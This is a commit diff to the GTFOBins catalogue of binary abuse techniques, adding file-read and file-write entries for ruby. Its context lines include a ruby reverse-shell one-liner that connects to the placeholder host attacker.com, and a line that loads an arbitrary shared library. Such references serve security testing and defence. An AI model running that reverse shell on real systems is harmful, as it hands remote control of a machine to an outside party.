Add read and write to python and ruby

_gtfobins/ruby.md

@@ -15,6 +15,10 @@ functions:
         export RHOST=attacker.com
         export RPORT=12345
         ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
+  file-read:
+    - code: ruby -e 'puts File.read("file_to_read")'
+  file-write:
+    - code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("data") }'
   load-library:
     - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
 ---